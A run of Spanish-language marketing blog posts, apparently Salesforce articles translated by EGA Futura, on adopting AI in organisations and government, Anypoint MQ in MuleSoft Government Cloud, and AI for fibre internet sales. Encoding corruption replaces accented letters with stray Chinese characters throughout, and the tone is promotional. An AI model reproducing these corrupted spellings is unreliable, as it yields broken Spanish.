  • Dise帽ar una infraestructura para el futuro : no se pueden poner trenes magn茅ticos de alta velocidad en las v铆as del tren tradicional. Los l铆deres deber谩n examinar sus plataformas, infraestructura, deuda t茅cnica y gobernanza para asegurarse de que est茅n listos.
  • Adopte una mentalidad centrada en el cliente : comprenda c贸mo la IA puede mejorar las experiencias de los clientes y mejorar su conexi贸n con ellos. Desarrolle una estrategia que use IA para proporcionar una entrega de productos m谩s r谩pida, servicios personalizados, mayor reconocimiento de marca y mayor participaci贸n del cliente.
  • Genere confianza : Esta tecnolog铆a tiene tantos peligros como beneficios. Adopte un enfoque centrado en el ser humano y genere confianza con aquellos que usan sus productos. Tus clientes toman sus decisiones de compra en base a la confianza que creas. El uso responsable y 茅tico estar谩 en el centro mismo de este esfuerzo.

El futuro de la IA tiene un potencial inmenso. Al abordarlo de manera cuidadosa y responsable, puede desbloquear nuevas posibilidades e impulsar a su organizaci贸n hacia el 茅xito a largo plazo.

Impulse la innovaci贸n continua de la IA

La revoluci贸n de la IA est谩 aqu铆. Para prosperar en esta era, las organizaciones deben adoptar la IA y su poder transformador. Salesforce Professional Services es su socio de confianza en este viaje. Lo ayudaremos a navegar por el panorama en evoluci贸n de la IA e impulsar la transformaci贸n continua.

Con la Oficina de Innovaci贸n Continua , nuestro equipo de asesores de confianza trabajar谩 con usted para optimizar y escalar para el futuro, aumentar la agilidad y la flexibilidad y mejorar la entrega de la plataforma. Lo ayudaremos a alinearse con los resultados comerciales y darse cuenta del poder de la IA y los datos, todo en la plataforma de CRM de IA n.潞 1 del mundo. Juntos, podemos potenciar las experiencias de sus clientes y desbloquear todo el potencial de Salesforce.

No dejes que el polvo se asiente. Aproveche las extraordinarias posibilidades de la IA con los servicios profesionales de Salesforce e impulse a su organizaci贸n a nuevos niveles de innovaci贸n y 茅xito.

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Lo que los gobiernos necesitan ahora: datos y habilidades de IA

Lo que los gobiernos necesitan ahora: datos y habilidades de IA

El auge de la IA est谩 aqu铆 , lo que significa que es hora de ver c贸mo la IA en el gobierno puede hacer que las cosas funcionen mejor tanto para las organizaciones como para los electores.

Para las organizaciones gubernamentales y del sector p煤blico, hay formas claras en que la IA puede ayudarlos a ser m谩s eficientes y servir a las personas de mejores maneras, como el procesamiento de datos, la seguridad cibern茅tica y la planificaci贸n p煤blica, por nombrar algunas.

Las agencias p煤blicas tienen la oportunidad de crear conciencia sobre la importancia de la IA en el gobierno. Este auge de la IA significa que es un buen momento para que los trabajadores del gobierno adquieran nuevas habilidades y aseguren su futuro. Obtener estas habilidades de IA en demanda ayudar谩 a los empleados a servir mejor al p煤blico, mejorando la confianza entre los sectores p煤blico y privado.

Conc茅ntrese en su misi贸n, no en TI

Aprenda de un ex ejecutivo del gobierno federal c贸mo una mayor seguridad cibern茅tica puede ayudar a hacer posible la transformaci贸n digital para el sector p煤blico.

Sin embargo, una de las mayores preocupaciones en torno al surgimiento de esta tecnolog铆a y las inversiones que se est谩n realizando en ella es una crisis de habilidades de IA. Una encuesta de SAS de los tomadores de decisiones de las principales empresas estadounidenses que abarcan nueve sectores, incluido el gobierno, dice que el 63% de los encuestados cree que no tienen suficientes recursos de inteligencia artificial y aprendizaje autom谩tico de alta calidad.

Esa brecha de habilidades, junto con el enfoque de avance a toda velocidad por parte de los tomadores de decisiones en las empresas y el gobierno, est谩 dando a los trabajadores motivos para preocuparse.

En marzo, el banco de inversi贸n Goldman Sachs predijo que la IA eventualmente podr铆a reemplazar 300 millones de empleos de tiempo completo en todo el mundo y afectar a casi una quinta parte del empleo, con un impacto particular en los trabajos administrativos que a menudo se consideran a prueba de automatizaci贸n, como las profesiones administrativas y legales. .

Pero se crear谩n empleos: la pregunta es en qu茅 porcentaje se desplazar谩n esos empleos compensados. El Informe sobre el futuro de los empleos del Foro Econ贸mico Mundial dice que casi el 75 % de las empresas encuestadas esperan adoptar la IA; el 50 % de las organizaciones cree que dar谩 como resultado un crecimiento del empleo y el 25 % cree que crear谩 p茅rdidas de empleo.

Por eso es tan importante, a medida que la IA asume una cantidad cada vez mayor de tareas de nivel inferior, que los trabajadores afectados por este cambio adquieran las habilidades para pasar a un trabajo m谩s emprendedor. Existe una gran oportunidad para que su organizaci贸n adopte la IA en el gobierno, pero primero, debe asegurarse de que sus empleados tengan la capacitaci贸n adecuada y que tenga los datos fundamentales seguros con los que trabajar谩 la IA.

La modernizaci贸n de datos es el primer paso para configurar su organizaci贸n para un futuro optimizado por IA. Tambi茅n es un 谩rea en la que los trabajadores pueden mejorar y hacer la transici贸n a medida que la IA aleja el flujo de trabajo basado en humanos de las tareas de nivel inferior.

C贸mo la brecha de habilidades crea una oportunidad para la IA en trabajos gubernamentales

AI tiene el poder de mejorar enormemente las operaciones gubernamentales para satisfacer de manera m谩s efectiva las necesidades de sus ciudadanos. Los casos de uso son pr谩cticamente infinitos , desde la gesti贸n del tr谩fico hasta la prestaci贸n de atenci贸n m茅dica y el procesamiento de interminables formularios y papeleo que obstruyen notoriamente a casi todas las agencias gubernamentales.

Los departamentos de salud est谩n utilizando IA en todo, desde acelerar los ensayos de medicamentos hasta detectar y prevenir la pr贸xima pandemia .

Las agencias de seguridad p煤blica est谩n implementando IA para apoyar al personal, optimizar las operaciones y analizar grandes conjuntos de datos.

La lista contin煤a: identificar las deficiencias de infraestructura y las soluciones m谩s efectivas y eficientes; formas m谩s efectivas de implementar redes de seguridad y al mismo tiempo detectar el fraude; opciones de autoservicio para consultas de residentes; simplificar los sistemas judiciales atrasados .

La amplia gama de IA en aplicaciones gubernamentales crea una necesidad gigantesca de trabajadores preparados para la tecnolog铆a digital. Pero uno de los mayores obst谩culos que se interponen en el camino de las agencias p煤blicas para adoptar completamente y adoptar r谩pidamente esta tecnolog铆a es la falta de inteligencia artificial y capacidades de gesti贸n de datos dentro de su propia fuerza laboral.

Los trabajadores del gobierno a menudo carecen de las habilidades de inteligencia artificial y ciencia de datos necesarias para manejar la escala masiva de datos de los ciudadanos y construir modelos de inteligencia artificial de 煤ltima generaci贸n que, en 煤ltima instancia, beneficiar谩n al p煤blico.

驴C贸mo nos aseguramos de manera efectiva de que los trabajadores no se pierdan o, peor a煤n, se queden atr谩s con tanto cambio a nuestro alrededor tan r谩pidamente? 驴Y c贸mo dotamos a los trabajadores de las herramientas adecuadas que garanticen la equidad, la accesibilidad y la seguridad? Esto es especialmente importante para las organizaciones del sector p煤blico que tienen la responsabilidad adicional de mantener algunos de los est谩ndares de seguridad m谩s estrictos del mundo.

La educaci贸n y capacitaci贸n adecuadas sobre el uso responsable de la IA es el siguiente paso para las organizaciones , ayudando al sector p煤blico a servir mejor a su gente.

Los programas de educaci贸n para la IA en el gobierno est谩n teniendo 茅xito en todo el mundo

Ahora que conoce la importancia de la educaci贸n en IA, es hora de ver c贸mo otras organizaciones de todo el mundo est谩n manejando esta oportunidad.

Finlandia lanz贸 Elementos de IA en 2018 , cursos en l铆nea gratuitos dise帽ados para presentar los conceptos b谩sicos de IA a personas no especializadas en el p煤blico. Los cursos incluyen recursos de autoaprendizaje, contenido interactivo y trabajo basado en tareas que ense帽a conceptos, m茅todos de uso y limitaciones de la tecnolog铆a. El gobierno finland茅s se comprometi贸 a educar al menos al 1 por ciento de su poblaci贸n, un objetivo que se cumpli贸 y super贸 r谩pidamente. Los cursos ahora est谩n disponibles en m谩s de 20 idiomas y 1 mill贸n de personas en todo el mundo lo han completado.

De manera similar, AI Singapur lanz贸 el programa AI for Everyone , una iniciativa nacional administrada por el gobierno para equipar a las personas y organizaciones con las habilidades para usar la IA y el aprendizaje autom谩tico para el bien social. Ofrece cursos y talleres de IA, y financiaci贸n y apoyo para proyectos de IA que abordan el cambio social.

En los EE. UU., la legislaci贸n que crear铆a un programa de capacitaci贸n en IA para supervisores federales y funcionarios administrativos tambi茅n est谩 en proceso de aprobaci贸n en el Congreso . Su objetivo es proporcionar orientaci贸n sobre el uso de IA a los l铆deres federales. Esto les ayuda a garantizar que los riesgos y las recompensas del uso de la tecnolog铆a se sopesen adecuadamente frente a las misiones de la agencia y las comunidades a las que sirven.

Equipar a una fuerza laboral con habilidades de IA puede ayudar a generar confianza en el gobierno

Los empleados que poseen las habilidades adecuadas para el momento son invaluables para un gobierno que funcione. La experiencia del empleado est谩 directamente relacionada con la experiencia del cliente, ya que descubrimos que solo el 18 % de las personas encuestadas cree que la experiencia del cliente tiene prioridad en sus interacciones con el gobierno.

Mientras tanto, tambi茅n descubrimos que el 73 % de la fuerza laboral no se siente 鈥渕uy equipada鈥 con los recursos necesarios para aprender las habilidades digitales requeridas para tener 茅xito ahora. Sin embargo, est谩 claro que equipar a los trabajadores del sector p煤blico con las habilidades necesarias para aprovechar la IA los empodera para brindar experiencias transformadoras al p煤blico.

Lo que significa que existe una gran oportunidad de mejorar las habilidades de los trabajadores del sector p煤blico para aprovechar las oportunidades que presenta la IA en el gobierno. Esto no solo significa seguridad para los trabajadores en un momento inquietante, sino tambi茅n mejores experiencias para la poblaci贸n a la que sirven. En 煤ltima instancia, esta es una oportunidad para generar m谩s confianza , asegurando que el sector p煤blico est茅 haciendo todo lo posible para servir mejor a la poblaci贸n.

Los datos son la base de una IA confiable

Una de las principales formas en que puede preparar a sus empleados para la IA es mediante la modernizaci贸n y unificaci贸n de sus datos. Es importante tener en cuenta que las herramientas de IA son tan efectivas como los datos de los que extraen y las personas que gu铆an la tecnolog铆a.

Cuando sus datos est谩n conectados y unificados, puede desbloquear el verdadero potencial de la IA y la automatizaci贸n, impulsado por conocimientos en tiempo real. Esto lo ayudar谩 a crear experiencias que no solo promuevan la misi贸n de su organizaci贸n, sino que generen confianza con las personas a las que sirve.

El ascenso del Director de Datos es un indicador de la importancia de esta funci贸n y los conjuntos de habilidades especializadas que diferenciar谩n a las organizaciones exitosas. Estos roles no solo requieren la gesti贸n de datos, sino tambi茅n las tareas cr铆ticas de garantizar el uso 茅tico y equitativo de las tecnolog铆as basadas en datos.

La confianza es una parte integral de la IA en el gobierno, lo que significa que la integridad y la seguridad de los datos son fundamentales. Eso crea una oportunidad para que las organizaciones del sector p煤blico establezcan componentes fundamentales (an谩lisis y estandarizaci贸n de grandes conjuntos de datos, implementaci贸n de medidas de seguridad mejoradas y modelado de datos innovador) para configurarlos para un futuro centrado en la IA.

El futuro de los servicios digitales

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Navegue por su camino hacia un futuro de IA

Navegue por su camino hacia un futuro de IA

Bienvenido a la era digital, donde la inteligencia artificial reina y las organizaciones se encuentran en la c煤spide de una revoluci贸n. El futuro de la IA est谩 aqu铆 y est谩 impulsando un incre铆ble impulso empresarial. Los l铆deres y las personas se esfuerzan por comprender los riesgos y las oportunidades de implementar la IA. Mientras que, al mismo tiempo, est谩n tratando de no quedarse atr谩s de la competencia.

Para prepararse para un futuro de IA, las empresas deben adoptar un enfoque estrat茅gico y hol铆stico que aborde varios factores clave. Profundicemos en los pasos esenciales para convertir su organizaci贸n en una potencia impulsada por IA.

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Cultivar la seguridad para conducir a los empleados

Introducir IA en una organizaci贸n requiere crear un entorno seguro y de apoyo. Anime a sus equipos a aceptar el cambio y tomar riesgos. Generar confianza dentro de la organizaci贸n permite que las personas se sientan seguras en sus funciones y las motiva a explorar el potencial de la IA.

Para crear un entorno seguro y de apoyo para la adopci贸n de IA:

  • Fomentar una cultura de transparencia : Promover una comunicaci贸n abierta y honesta sobre las iniciativas de IA, abordando inquietudes y brindando explicaciones claras.
  • Fomente la innovaci贸n y la experimentaci贸n : cree oportunidades para que los empleados exploren las tecnolog铆as de IA y experimenten con nuevas ideas. Involucre a sus equipos y empoderarlos para compartir sus perspectivas 煤nicas en su viaje de IA.
  • Proporcione oportunidades de aprendizaje y desarrollo : demuestre el apoyo de la organizaci贸n ofreciendo programas de capacitaci贸n, talleres y recursos. Sus equipos se sentir谩n alentados a adquirir nuevas habilidades y mejorar su comprensi贸n de la IA.
  • Reconozca y recompense las contribuciones : reconozca y celebre a los empleados que participan en iniciativas de IA. Esto fomenta un sentido de valor y motiva a las personas a participar en la transformaci贸n de la IA.

Al cultivar una actitud positiva hacia el cambio, las organizaciones pueden prepararse para las oportunidades de un futuro de IA.

Mejorar la adopci贸n priorizando el impacto humano

Para adoptar con 茅xito la IA, es importante comunicar una visi贸n convincente centrada en el ser humano . Si bien la IA puede parecer impersonal, debemos enfatizar el impacto beneficioso que puede tener, especialmente considerando las bajas barreras de entrada que la hacen accesible a una amplia gama de usuarios.

Una de las ventajas clave de la tecnolog铆a de IA es su baja barrera de entrada. Considere el ejemplo de TikTok, una plataforma social que alcanz贸 los 100 millones de usuarios en solo nueve meses . En comparaci贸n, el motor de IA generativa, ChatGPT, logr贸 el mismo hito en solo dos meses. Esto muestra la facilidad con la que se puede adoptar la tecnolog铆a de IA y el r谩pido ritmo al que se puede adoptar a escala mundial.

Para lograr una adopci贸n exitosa de la IA:

  • Comunique los beneficios de la IA centrados en el ser humano : enfatice c贸mo la IA puede mejorar la productividad y automatizar tareas tediosas. Presente la IA como un activo valioso que aumenta, no reemplaza, el trabajo humano y como un cambio que puede acelerar el trabajo y mejorar la satisfacci贸n laboral.
  • Encuentre y comunique beneficios espec铆ficos : Ilustre las ventajas de ahorro de tiempo de la adopci贸n de IA. Col贸quelo como un asistente personal que agiliza los flujos de trabajo y libera tiempo para un trabajo m谩s significativo.
  • Presente un caso s贸lido para el cambio : comunique las consecuencias de no adoptar la IA. Reflexione sobre las mejores pr谩cticas de la industria, destacando el ritmo sin precedentes de adopci贸n de IA y las bajas barreras de entrada.

Al centrarse en los beneficios centrados en el ser humano y resaltar las barreras de entrada bajas, las organizaciones pueden integrar r谩pidamente soluciones de IA en sus flujos de trabajo sin necesidad de una amplia experiencia t茅cnica o una inversi贸n financiera significativa. Esta accesibilidad permite un proceso de adopci贸n m谩s inclusivo y abre las puertas a una variedad de industrias y sectores.

Empodere a su organizaci贸n para un futuro de IA

Dotar a su organizaci贸n de las herramientas y estrategias adecuadas es crucial para mantenerse competitivo e impulsar el 茅xito. Considere desarrollar un programa de capacitaci贸n integral y un proceso formal de adopci贸n de IA. Con pr谩cticas como estas, sus equipos pueden mantenerse 谩giles con la tecnolog铆a en evoluci贸n.

Estos tres pasos cruciales han demostrado ser esenciales para el 茅xito de las transformaciones digitales:

  • Defina iniciativas de capacitaci贸n : haga que la capacitaci贸n en IA sea una parte obligatoria de la habilitaci贸n de los empleados. Salesforce, por ejemplo, reconoci贸 la importancia de equipar a sus empleados con un enfoque seguro y reflexivo para usar la IA. Este paso fue esencial durante su cambio para convertirse en el CRM de IA n.潞 1 del mundo.
  • Cree procesos formales para aumentar las tasas de adopci贸n de la IA : no espere a que los miembros del equipo exploren la IA en su tiempo libre. Establezca procesos estructurados para integrar la innovaci贸n de IA en el trabajo de todos. Considere formar comit茅s dedicados para impulsar los avances de la IA o medir la cantidad de ideas de IA enviadas por los ingenieros. Independientemente de la estructura que elija, formalizar el proceso de adopci贸n es clave.
  • Sea flexible con la tecnolog铆a de IA en evoluci贸n : mant茅ngase actualizado con los 煤ltimos avances en IA. En un panorama que cambia r谩pidamente, las empresas deben prepararse para adaptar y cambiar sus iniciativas. Adopte la flexibilidad y la agilidad cuando trabaje con tecnolog铆as de IA.

Al adoptar las mejores pr谩cticas de transformaci贸n digital e incorporar la IA en los procesos formales, las organizaciones allanan el camino para el 茅xito continuo en el futuro de la IA.

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Proteja su IA

Si bien la IA presenta inmensas oportunidades, una preocupaci贸n crucial es el uso 茅tico de la IA. Es imperativo salvaguardar los datos confidenciales de los clientes de su empresa con una plataforma de IA confiable , como AI Cloud de Salesforce , construida sobre la capa de confianza GPT de Einstein . Las plataformas de IA confiables implementan medidas s贸lidas de protecci贸n de datos, que incluyen encriptaci贸n, controles de acceso y cumplimiento de las normas de privacidad de datos.

Para salvaguardar sus datos confidenciales y mantener la confianza de sus clientes:

  • Establecer un marco de gobernanza 茅tico : Promover la transparencia, la equidad y la responsabilidad en los algoritmos de IA y los procesos de toma de decisiones. Esto garantiza que la implementaci贸n responsable est茅 alineada con los valores de su negocio.
  • Priorice la privacidad y la seguridad de los datos : aplique medidas estrictas para proteger la informaci贸n confidencial. Cumpla con las regulaciones y siga las mejores pr谩cticas de la industria. Dado que la IA depende en gran medida de los datos, proteger esos datos fomenta la confianza entre los clientes, socios y partes interesadas.
  • Proporcione programas regulares de capacitaci贸n y actualizaci贸n : aseg煤rese de que su capacitaci贸n de habilitaci贸n cubra los aspectos t茅cnicos de la IA, as铆 como la comprensi贸n de sus limitaciones y riesgos. Con este conocimiento, los empleados pueden tomar decisiones informadas y tomar las medidas adecuadas mientras usan la IA.

Al implementar la IA de manera responsable y comprender las necesidades y los obst谩culos para adoptar la IA, las organizaciones pueden convertirse en l铆deres confiables en la era de la inteligencia artificial.

Encienda su viaje de transformaci贸n de IA

Revolucione la productividad, la eficiencia y las experiencias de los clientes de su organizaci贸n para un futuro de IA. Al crear seguridad, proporcionar una raz贸n para el cambio centrada en el ser humano, empoderar a sus equipos y salvaguardar la IA, las organizaciones pueden experimentar una profunda transformaci贸n en empresas impulsadas por la IA.

Salesforce Professional Services ofrece una oportunidad 煤nica para las organizaciones que buscan embarcarse en su viaje de IA. Adopte AI Coach y haga uso de la experiencia de los servicios profesionales de Salesforce para maximizar el potencial de la IA. Trabajamos con usted para escalar y personalizar las experiencias de los clientes al alinearnos con los resultados comerciales, construir un camino hacia el valor comercial, prepararnos para la entrega inmediata y establecer una hoja de ruta de estado futuro que est茅 alineada con su visi贸n y objetivos.

Juntos, podemos impulsar su viaje y posicionar su negocio a la vanguardia de la innovaci贸n impulsada por IA, brindando experiencias excepcionales y generando confianza en esta era digital.

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Anypoint MQ ya est谩 disponible en MuleSoft Government Cloud 鈽侊笍

Anypoint MQ ya est谩 disponible en MuleSoft Government Cloud 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Anypoint MQ ya est谩 disponible en MuleSoft Government Cloud | Blog de desarrolladores de Salesforce

Anypoint MQ es un servicio de mensajer铆a en la nube empresarial y multiusuario que proporciona una soluci贸n de mensajer铆a asincr贸nica avanzada para aplicaciones.

Los clientes utilizan Anypoint MQ en los entornos MuleSoft US Cloud y EU Cloud para ejecutar aplicaciones de misi贸n cr铆tica, como el procesamiento de pedidos, la gesti贸n de atenci贸n al cliente y la gesti贸n de quioscos de aerol铆neas. Un proveedor de comercio electr贸nico que recibe pedidos a trav茅s de varios canales, como web, dispositivos m贸viles y socios, puede procesar los pedidos en el pedido recibido y, al mismo tiempo, escalar a varias unidades de procesamiento.

Nuestros clientes del sector p煤blico han solicitado un servicio de mensajer铆a basado en la nube que pueda integrar tanto sus aplicaciones locales como las basadas en la nube, lo que les permite ofrecer servicios automatizados para los ciudadanos. Con el lanzamiento de Anypoint MQ en MuleSoft Government Cloud, nos complace ayudar a nuestros clientes a lograr su visi贸n.

Funciones de Anypoint MQ

Anypoint MQ admite una amplia gama de casos de uso de mensajer铆a, como patrones de mensajer铆a empresarial, comunicaciones asincr贸nicas entre microservicios e IoT. Anypoint MQ tambi茅n proporciona una API REST para publicar o consumir mensajes utilizando marcos, como scripts bash de Node.js, Java, Go y DevOps.

Anypoint MQ incluye las siguientes funciones:

Colas e intercambios de mensajes

Las colas de mensajes proporcionan almacenamiento temporal que permite que las aplicaciones se comuniquen de manera escalable y confiable. Los editores pueden publicar mensajes en las colas y los suscriptores pueden recibir mensajes de las colas. Los intercambios de mensajes le permiten distribuir un solo mensaje a m煤ltiples consumidores. Todas las colas y los intercambios de mensajes est谩n cifrados de forma predeterminada.

Colas de retraso

Las colas de retraso le permiten posponer la entrega de nuevos mensajes a una cola durante un per铆odo espec铆fico. Los consumidores no pueden ver los mensajes enviados a una cola de demora durante el per铆odo de demora. El retraso m谩ximo de una cola es de 15 minutos.

Consola de administraci贸n

Con la consola de administraci贸n, puede monitorear las estad铆sticas de las colas, purgarlas y ver cu谩ntos mensajes est谩n en tr谩nsito.

Conector MQ de cualquier punto

Anypoint Connector para Anypoint MQ (Anypoint MQ Connector) proporciona mensajes de publicaci贸n y suscripci贸n a aplicaciones Mule. Tenga en cuenta que solo Anypoint MQ Connector 4.x y versiones posteriores son compatibles con el entorno MuleSoft Government Cloud.

API REST

Puede usar la API REST para comunicarse f谩cilmente con aplicaciones que no son Mule.

Entornos y control de acceso basado en roles

Anypoint MQ est谩 completamente integrado con Anypoint Access Management, lo que le permite especificar diferentes entornos para sus colas, qui茅n puede acceder a cada entorno y qu茅 pueden hacer dentro de cada entorno.

Grandes cargas 煤tiles

Anypoint MQ admite cargas 煤tiles de hasta 10 MB.

Recuperaci贸n de desastres

Los servicios de Anypoint MQ se implementan en varias zonas de disponibilidad (AZ) dentro de una regi贸n para proporcionar alta disponibilidad (HA). Si el servicio en una zona de disponibilidad deja de funcionar, el servicio Anypoint MQ funciona normalmente en esa regi贸n. Si todas las zonas de disponibilidad se desactivan en una regi贸n, el servicio Anypoint MQ no estar谩 disponible en esa regi贸n hasta que al menos una de las zonas de disponibilidad vuelva a funcionar. Debido a que la soluci贸n de almacenamiento para Anypoint MQ es duradera, se retienen los mensajes que ya estaban en el sistema Anypoint MQ antes de que se interrumpiera el servicio.

Conclusi贸n

隆Esperamos que est茅 tan entusiasmado como nosotros con estas caracter铆sticas! Para comenzar a acceder a Anypoint MQ en Government Cloud, visite nuestro tutorial .

M谩s recursos

Sobre el Autor

Gouthami Kondakindi es un ingeniero l铆der en Salesforce que trabaja en la creaci贸n de servicios que potencian la plataforma MuleSoft Anypoint.

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驴Intenta ganar clientes de Internet de fibra? 3 formas en que la IA puede ayudar

驴Intenta ganar clientes de Internet de fibra? 3 formas en que la IA puede ayudar

A medida que m谩s empresas y personas buscan una conectividad a Internet m谩s r谩pida que la que pueden proporcionar los cables, la fibra es una inversi贸n popular. Dado que se espera que el mercado mundial de la fibra alcance los 31聽300 millones de USD para 2030 , est谩 claro que el auge de la fibra hasta el hogar est谩 aqu铆.

La IA puede ayudarlo a capitalizar esto, escalando sus esfuerzos para obtener nuevos clientes y ayud谩ndolo a brindar un mejor servicio a los actuales .

Adquirir la mayor cantidad de clientes lo m谩s r谩pido posible es el nombre del juego para los proveedores de fibra hasta el hogar. Las enormes inversiones en infraestructura est谩n presionando a煤n m谩s a las empresas de telecomunicaciones para que hagan precisamente eso.

Modernice el servicio con la automatizaci贸n

Aproveche la IA y la automatizaci贸n para liberar a los equipos de servicio al cliente de tareas mundanas, brindar un servicio de calidad y ser m谩s eficientes.

Sin embargo, la cantidad de nuevos clientes que puede atraer disminuye cada vez que se retrasa un nuevo proyecto, ya sean instalaciones de infraestructura m谩s amplias o viviendas individuales. Eso perjudica su resultado final y la satisfacci贸n del cliente .

Entonces, 驴c贸mo puede agregar m谩s eficiencia al proceso sin acumular inversiones m谩s significativas? Ah铆 es donde entran la IA y la automatizaci贸n. La IA generativa puede ayudar a los proveedores de comunicaciones a optimizar sus inversiones, y eso incluye ayudar a capitalizar el auge de la fibra.

Las implementaciones de IA generativa pueden permitirle hacer preguntas espec铆ficas basadas en los datos de CRM de su empresa, ayud谩ndole a tomar decisiones m谩s informadas, lo que lleva a mejores resultados comerciales.

La tecnolog铆a de inteligencia artificial generativa que es segura, confiable y se basa en la amplitud de los datos de su cliente puede optimizar su inversi贸n en fibra en cada paso del camino. Desde la identificaci贸n de vecindarios para proyectos de infraestructura hasta la optimizaci贸n de las instalaciones de hogares individuales, as铆 es como puede ayudar.

1. Identificar ubicaciones para la inversi贸n de fibra hasta el hogar

Para capitalizar el auge de la fibra hasta el hogar, el uso de la IA generativa comienza desde el inicio del proceso, identificando en qu茅 vecindarios colocar la fibra.

La tecnolog铆a de IA generativa puede analizar datos hist贸ricos, datos demogr谩ficos y tendencias del mercado para identificar d贸nde invertir en implementaciones o actualizaciones de infraestructura, por ejemplo. Junto con sus propios puntos de datos seguros, como la tasa de ganancia de su empresa en varios vecindarios, la IA generativa lo ayudar谩 a encontrar las soluciones de dise帽o de red m谩s rentables y eficientes.

Tambi茅n puede ayudar a los proveedores de fibra a identificar las comunidades con el mayor nivel de inter茅s en la fibra, as铆 como a crear flujos de trabajo inteligentes para aumentar los ingresos por registro e instalaci贸n m谩s r谩pidamente.

2. Escale sus ventas de fibra de alto rendimiento

Tenga en cuenta que la IA que implementa es tan buena como los datos en los que se basa . Puede usar IA con sus datos protegidos para adaptar sus esfuerzos de marketing, como dise帽ar anuncios personalizados visualmente atractivos para dirigirse a audiencias espec铆ficas en funci贸n del historial de navegaci贸n y compras, creando modelos predictivos para pronosticar el comportamiento de compra de los clientes.

La IA generativa junto con las capacidades de IA basadas en el aprendizaje autom谩tico de larga data es el "santo grial" para escalar su alcance, seg煤n Vala Afshar, evangelista digital jefe de Salesforce. Eso tambi茅n se aplica al despliegue de fibra en tantos hogares y empresas como sea posible.

Puede ayudar a optimizar sus ventas y marketing a trav茅s de otros beneficios, como:

  • Puntuaci贸n de clientes potenciales : use IA para analizar y priorizar autom谩ticamente los clientes potenciales de instalaci贸n de fibra en funci贸n de su probabilidad de conversi贸n.
  • Perspectivas de cuentas y oportunidades : la IA y los algoritmos de aprendizaje autom谩tico pueden recopilar y analizar datos de fuentes internas y externas para proporcionar una visi贸n hol铆stica de posibles cuentas de fibra y oportunidades de ventas.
  • Pron贸stico predictivo : con el an谩lisis predictivo, la IA puede extraer datos hist贸ricos, patrones y otras correlaciones para brindarles a los proveedores de fibra la capacidad de anticipar el comportamiento del cliente, predecir tendencias de ventas y tomar otras decisiones basadas en datos.

Yendo un paso m谩s all谩, la IA generativa predice las tendencias de ventas futuras, analiza los datos de ventas y crea una comunicaci贸n personalizada, lo que lo ayuda a aprovechar al m谩ximo la tendencia de fibra hasta el hogar.

La IA generativa tambi茅n puede ayudar a su equipo de ventas a cerrar y optimizar nuevos acuerdos de fibra.

Puede crear propuestas y contratos a partir de datos de clientes, agilizando la creaci贸n, mejorando la personalizaci贸n, la eficiencia y la precisi贸n en todo el proceso.

El an谩lisis de gesti贸n de pedidos, en todo, desde m茅tricas de rendimiento de pedidos, seguimiento y gesti贸n de inventario, puede ayudar a identificar oportunidades de ventas adicionales y recomendaciones de productos, ahorrando horas de trabajo en tareas administrativas.

3. Mejore su proceso de instalaci贸n para trabajadores y clientes

La IA tampoco se detiene una vez que sus t茅cnicos est谩n en el campo.

Brinda a los despachadores una visibilidad completa para hacer coincidir los trabajadores y las asignaciones, y asigna proyectos de manera consistente en funci贸n de las habilidades, la ubicaci贸n, el inventario y las reglas comerciales. Les permite ver la fuerza de trabajo m贸vil y cada trabajo en una sola pantalla.

Los chatbots o asistentes virtuales con tecnolog铆a de IA pueden proporcionar actualizaciones en tiempo real sobre instalaciones o solicitudes de servicio que reducen el tiempo de intervenci贸n humana.

Puede ofrecer las siguientes mejores acciones y resoluci贸n de problemas para los t茅cnicos de servicio de campo durante la instalaci贸n. Por ejemplo, los algoritmos de visi贸n por computadora pueden analizar im谩genes o videos de los sitios de instalaci贸n para guiar a los t茅cnicos a trav茅s del proceso y garantizar la precisi贸n en el camino e identificar cualquier problema que deba abordarse.

Esto crea un proceso de instalaci贸n simplificado y le permite entrar y salir de m谩s hogares y negocios m谩s r谩pido. AI lo ayuda a brindar el excelente servicio que los clientes esperan, brind谩ndole una ventaja en la carrera de fibra hasta el hogar.

Uni茅ndolo todo con IA generativa

Veamos un ejemplo de un proveedor de fibra que utiliza IA generativa para convertir una simple solicitud de servicio de un cliente de banda ancha comercial en una posible instalaci贸n significativa de fibra para varias oficinas. Supongamos que un cliente se pone en contacto con el centro de servicio por inquietudes sobre videoconferencias nerviosas entre sus seis oficinas.

En el pasado, despu茅s de enterarse del problema, un representante de ventas regresaba e investigaba las ubicaciones de sus oficinas, cu谩ntos empleados y el tipo de negocio. Luego usar铆an esa informaci贸n para predecir el ancho de banda, o incluso si est谩 disponible en las ubicaciones, necesario para una soluci贸n. El representante, junto con los arquitectos t茅cnicos, establecer铆a cu谩l es la soluci贸n, pensar铆a en una venta adicional y redactar铆a una propuesta y un contrato.

Eso podr铆a tomar semanas o meses en completarse.

En su lugar, la IA puede tomar la indicaci贸n del cliente (arreglando videoconferencias sin fluctuaciones entre seis ubicaciones) y proporcionar instant谩neamente las respuestas a todas las preguntas necesarias para resolver el problema.

Esta tecnolog铆a puede extraer datos seguros de sus clientes e identificar informaci贸n relevante, como d贸nde se encuentran esas seis ubicaciones y el n煤mero de empleados por ubicaci贸n. Al leer los datos que ya tiene, la IA generativa puede informarle si la tecnolog铆a mejorada est谩 disponible para esas ubicaciones.

Tambi茅n puede incorporar una recomendaci贸n de venta adicional instant谩nea, que en este caso, por ejemplo, ser铆a instalar fibra en las ubicaciones para aumentar el ancho de banda y la mejor velocidad y calidad posibles para videoconferencias.

Luego, la IA generativa entrega una propuesta y un contrato utilizando toda esa informaci贸n privada dentro de su dominio. Un representante de ventas y un ingeniero de red est谩n en todo momento para proporcionar retroalimentaci贸n humana para ajustar o adaptar la respuesta, brindando el toque personal necesario para que todo funcione bien.

Pero gran parte del trabajo manual, el trabajo administrativo, lo realiza la IA. Reduce el proceso que habr铆a tomado semanas o meses manualmente a solo unos pocos d铆as, mientras libera los recursos de su empresa para enfocarse en tareas de mayor nivel, como enfocarse en expandir la fibra al hogar y la oficina.

Ya sea identificando ubicaciones para instalar fibra o alertando a los representantes sobre una oportunidad de venta adicional, la IA generativa y la automatizaci贸n pueden ayudar a potenciar la carrera de su empresa para adquirir clientes de fibra y optimizar esas fuertes inversiones.

Gana ventaja en el auge de la fibra

Descubra las estrategias y tecnolog铆as fundamentales necesarias para iluminar las experiencias de sus suscriptores de fibra.

